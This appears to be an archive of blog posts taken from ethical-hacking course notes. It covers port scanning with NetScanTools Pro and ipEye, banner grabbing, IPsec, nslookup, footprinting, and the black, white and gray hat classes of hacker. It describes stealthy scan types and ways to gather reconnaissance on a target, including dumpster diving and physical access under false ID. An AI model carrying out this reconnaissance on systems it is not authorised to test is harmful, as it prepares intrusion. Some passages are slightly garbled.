      |___    25   Simple Mail Transfer
             |___ 220 X1 NT-ESMTP Server xxxxxx.com (IMail 5.05 111734-1)..
      |___    80   World Wide Web HTTP
             |___   HTTP/1.1 200 OK..Server: Microsoft-IIS/4.0..Cache-Control:
no-cache..Expires: Mon, 21 Apr 2003 05:02:42 GMT..Content-Location:
      |___    110 Post Office Protocol - Version 3
             |___ +OK X1 NT-POP3 Server xxxxxx.com (IMail 5.08 228329-2)..
      |___    135 DCE endpoint resolution |__   139 NET BIOS Session Service
      |___    143 Internet Message Access Protocol
             |___ * OK IMAP4 Server (IMail 5.09)..
      |___ 1032   BBN IAD
      |___ 5631   pc ANYWHERE data
      |___ 5800   Virtual Network Computing server
      |___ 5900   Virtual Network Computing server
             |___ RFB 003.003.

Notice how the scanner returns additional information about the services running on the ports. Here, we see some banner grabbing done for the HTTP server, SMTP server, IMAP server and the POP3 server.

Tool: Net Scan Tools Pro

2011-02-26T00:55:00.001-08:00

NetScanTools consists of many independent network functions joined together in a single tabbed window. Most functions are designed to run in separate threads so several tabs can be used simultaneously. This program operates best on the newer Windows platforms.

NetScanTools Pro has a scanner tab - Port Prober, which will be discussed here. Port Probe (a port scanner) is an essential tool in determining the services or daemons running on a target machine. This prober is multithreaded, configurable and it allows running four different types of probing patterns. The user can build lists of target IP Addresses and lists of ports to probe, specifying timeouts and the protocol to connect with. Additionally, any data that is received from the target port upon connection is saved for viewing. The results are presented in a treeview and are colorcoded with different types of images for easy location of information at a glance.

The types of port connections supported are:

TCP Full Connect. This mode makes a full connection to the target's TCP ports and can save any data or banners returned from the target. This mode is the most accurate for determining TCP services, but it is also easily recognized by Intrusion Detection Systems (IDS).

UDP ICMP Port Unreachable Connect. This mode sends a short UDP packet to the target's UDP ports and looks for an ICMP Port Unreachable message in return. The absence of that message indicates either the port is used, or the target does not return the ICMP message which can lead to false positives. It can save any data or banners returned from the target. This mode is also easily recognized by IDS.

TCP Full/UDP ICMP Combined. This mode combines the previous two modes into one operation.

TCP SYN Half Open. (Windows XP/2000 only) This mode sends out a SYN packet to the target port and listens for the appropriate response. Open ports respond with a SYN|ACK and closed ports respond with ACK|RST or RST. This mode is less likely to be noted by IDS, but since the connection is never fully completed, it cannot gather data or banner information. However, the attacker has full control over TTL, Source Port, MTU, Sequence number, and Window parameters in the SYN packet.

TCP Other. (Windows XP/2000 only) This mode sends out a TCP packet with any combination of the SYN, FIN, ACK, RST, PSH, URG flags set to the target port and listens for the response. Again, the attacker can have full control over TTL, Source Port, MTU, Sequence number, and Window parameters in the custom TCP packet. The Analyze feature helps with analyzing the response based on the flag settings chosen. Each operating system responds differently to these special combinations. The tool includes presets for XMAS, NULL, FIN and ACK flag settings.

The four types of probe patterns are:

Sequential Probe. This method scans a linear set of ports as defined by the start/end port numbers over a linear set of IP addresses as defined by the IP address range settings.

Probe Port List. This mode probes only the ports listed in the Port List. This mode probes either a single host or a range of IP addresses based on the selection made in the Probe Single Host/Probe IP Range radio button group. It probes each host sequentially, that is the first, then the second etc., using the list of port numbers shown in the Port List.

Sequential Port Probe Using the Target List. This mode probes every port using the Starting through ending port range on every computer in the target list.

Probe a List of Ports on a List of Targets. This mode is the most stealthy mode and uses the least amount of CPU time and bandwidth because scanning is restricted to only the target ports on the target machines.

The tool also includes Ping before probe. This option allows the attacker to skip (automatically or by user response to a message) hosts that do not respond to pings. He can control the number of threads used to probe the host and the delay between launching each thread. He can also vary the amount of time to wait for a response to a probe of the port and the amount of time to wait after a connection for a banner to be sent.

Ethical Hacker and Scanning Tools

2011-02-26T00:53:00.001-08:00

Ethical Hacker and Scanning Tools

Can an ethical hacker simulate the scanning techniques to ensure the security of the network? The first and foremost armor is knowledge itself. The results of a scanner can be misleading if the ethical hacker does not have a good knowledge of common vulnerabilities, commonly affected hosts, and patterns indicating misuse.

Apart from this, performing an exhaustive scan against all the systems in a large enterprise is usually not feasible due to network constraints, stability of the backbone and scanned systems, and the dynamic nature of network deployments (wireless, DHCP, etc.). Therefore mere scanning does not a security check complete.

Tool: ipEye, IPSecScan

ipEye is a command-line driven port scanner written by Arne Vidstrom. It is a lightweight powerful tool bearing similarities with the command shell tools seen with UNIX. However, this port scanner is restricted to the Windows platform - 2000 and XP. Another drawback of this tool is that the hacker needs to know the specific IP before he can initiate a scan.

The basic usage for ipEye is:

ipEye -p [optional parameters]

The scantype parameter can take values of: -syn = SYN scan, -fin = FIN scan, -null = Null scan, - xmas = Xmas scan

However, the FIN, Null and Xmas scans don't work against Windows systems. Of these scan types, only the SYN SCAN is valid when scanning a Windows system. ipEye will scan the requested ports, given a valid IP address, and return a list of the FIN, Null and Xmas scans don't work against Windows systems.

"Closed" indicates that there is a computer on the other end, but there is no service that listens at the port.

"Reject" indicates the presence of a firewall or packet filtering device (sending a reset back) protecting the port.

"Drop" indicates the presence of a firewall or packet filtering device that drops packets directed to port, or it indicates that the particular system is not alive on the target network.

"Open" indicates that there is a service listening at the port.

Note in the above scan we see ports 135 and 139 as open.

Let us see the same scan done with IPSecScan. IPSecScan is a tool that can scan either a single IP address or a range of IP addresses looking for systems that are IPSec enabled.

In the scan above we have specified a range of IP addresses from 192.168.2.1 to 192.168.2.118. Note that the scan returns "Disabled" for some IPs - such as IP 192.168.2.1. This indicates that the system either doesn't support IPSec, has IPSec disabled, or that it is configured not to reveal that it has IPSec enabled.

IPsec is the short for IP Security. It is a set of protocols developed by the IETF to support secure exchange of packets at the IP layer.

IPsec = AH + ESP + IPcomp + IKE

Authentication Header (AH): provides authenticity guarantee for packets, by attaching strong crypto checksum to packets. If a packet is received with AH and the checksum operation is successful, it indicates that the packet was originated by the expected peer (the packet was not generated by impersonator) and that the packet was not modified in transit. Unlike other protocols, AH covers the whole packet, from the IP header to the end of the packet.

Encapsulating Security Payload (ESP) provides confidentiality guarantee for packets, by encrypting packets with encryption algorithms. If a packet is received with ESP and successfully decrypted it indicates that the packet was not wiretapped in the middle, if the sender and the receiver share a secret key, and no other party knows the key.

ESP provides encryption service to the packets. However, encryption tends to give negative impact to compression on the wire (such as ppp compression). IP Compression (IPcomp) provides a way to compress packet before encryption by ESP.

As discussed above, AH and ESP need shared secret key between peers. For communication between distant locations, there is a need to provide ways to negotiate keys in secrecy. Internet Key Exchange (IKE) makes this possible.

IPsec has been deployed widely to implement Virtual Private Networks (VPNs). IPsec supports two encryption modes: Transport and Tunnel.

Transport mode encrypts only the data portion (payload) of each packet, but leaves the header untouched. The more secure Tunnel mode encrypts both the header and the payload. On the receiving side, an IPSec-compliant device decrypts each packet.

For IPsec to work, the sending and receiving devices must share a public key. This is accomplished through a protocol known as Internet Security Association and Key Management Protocol/Oakley (ISAKMP/Oakley), which allows the receiver to obtain a public key and authenticate the sender using digital certificates.

Note security of IPsec protocols depend on the secrecy of secret keys. If secret keys are compromised, IPsec protocols can no longer be secure.

What is Nslookup?

2011-02-26T00:52:00.001-08:00

What is Nslookup

    *

      Nslookup is a program to query Internet domain name servers. Displays information that can be used to diagnose Domain Name System (DNS) infrastructure.
    *

      Helps find additional IP addresses if authoritative DNS is known from whois.
    *

      MX record reveals the IP of the mail server.
    *

      Both Unix and Windows come with a Nslookup client.
    *

      Third party clients are also available - E.g. Sam Spade

      Nslookup employs the domain name delegation method when used on the local domain. For instance, typing 'hr.targetcompany.com' will query for the particular name and if not found, will go one level up to find 'targetcompany.com'. To query a host name outside the domain, a fully qualified domain name (FQDN) must be typed.

      The attacker can use dig and host command to obtain more information on UNIX systems.

..................................................................................................................................................................... .....................................................

Footprinting - Attack Methods

2011-02-26T00:44:00.001-08:00

Attack Methods

The attacker may choose to source the information from:

* A web page (save it offline, e.g. using offline browser such as Teleport pro

* Yahoo or other directories. (Tifny is a comprehensive search tool for USENET newsgroups.

* Multiple search engines (All-in-One, Dogpile), groups.google.com is a great resource for searching large numbers of news group archives without having to use a tool.

* Using advanced search (e.g. AltaVista),

* Search on publicly trade companies (e.g. EDGAR).

* Dumpster diving (To retrieve documents that have been carelessly disposed)

* Physical access (False ID, temporary/contract employees, unauthorized access etc)

There are four RIRs, each maintaining a whois database holding details of IP address registrations in their regions. The RIR whois databases are located at:
*
ARIN (North America and sub-Saharan Africa)
*
APNIC (Asia Pacific region)
*
LACNIC (Southern and Central America and Caribbean)
*
RIPE NCC (Europe and northern Africa)
Tools
There are tools available to aid a whois lookup. Some of them are Sam Spade (downloadable from www.samspade.or g). Smart Whois (downloadable from www.tamos.com). Netscan (downloadable from www.netscantools.com) and GTWhois (Windows XP compatible) (www.geektools.com) etc.

What is Footprinting?

2011-02-26T00:42:00.001-08:00

Defining Foot printing

    *

      Foot printing is the blueprinting of the security profile of an organization, undertaken in a methodological manner.
    *

      Foot printing is one of the three pre-attack phases. The others are scanning and enumeration.
    *

      Foot printing results in a unique organization profile with respect to networks (Internet / Intranet / Extra net / Wireless) and systems involved.

      There is no single methodology for foot printing, as a hacker can choose several routes to trace the information. Foot printing therefore, needs to be carried out precisely and in an organized manner. The information unveiled at various network levels can include details of domain name, network blocks, network services and applications, system architecture, intrusion detection systems, specific IP addresses, access control mechanisms and related lists, phone numbers, contact addresses, authentication mechanisms and system enumeration.

      The information gathering activity can be broadly divided into seven phases:

          o The attacker would first unearth initial information (such as domain name),

          o locate the network range of the target system (using tools such as Nslookup, whois etc),

          o ascertain the active machines (for instance by pinging the machine),

          o discover open ports or access points (using tools such as port scanners),

          o detect operating systems (for instance querying with telnet),

          o uncover services on ports and

          o ultimately map the network.

      This not only speeds up the real attack process, but also aids in helping the attacker prepare better for covering his tracks and thereby leave a smaller or minimal footprint.

      Initial Information:

      Commonly includes:
          o

            Domain name lookup
          o

            Locations
          o

            Contacts (Telephone / mail)

      Information Sources:
          o

            Open source
          o

            Who is
          o

            Nslookup

      Hacking Tool:
          o

            Sam Spade

            Open Source Foot printing is the easiest and safest way to go about finding information about a company. Information that is available to the public, such as phone numbers, addresses, etc. Performing whois requests, searching through DNS tables are other forms of open source foot printing. Most of this information is fairly easy to get, and within legal limits. One easy way to check for sensitive information is to check the HTML source code of the website to look for links, comments, Meta tags etc

Hacker Classes - Black hats, White Hats, Gray Hats,

2011-02-26T00:41:00.001-08:00

Continuing to my old post who-are-hackers.html

Hacker Classes

*

Black hats
o

Individuals with extraordinary computing skills, resorting to malicious or destructive activities. Also known as 'Crackers.'
*

White Hats
o

Individuals professing hacker skills and using them for defensive purposes. Also known as 'Security Analysts'.
*

Gray Hats
o

Individuals who work both offensively and defensively at various times.
*

Ethical Hacker Classes
o

Former Black Hats
+

Reformed crackers
+

First-hand experience
+

Lesser credibility perceived
o

White Hats
+

Independent security consultants (maybe groups as well)
+

Claims to be knowledgeable about black hat activities
o

Consulting Firms
+

Part of ICT firms
+

Good credentials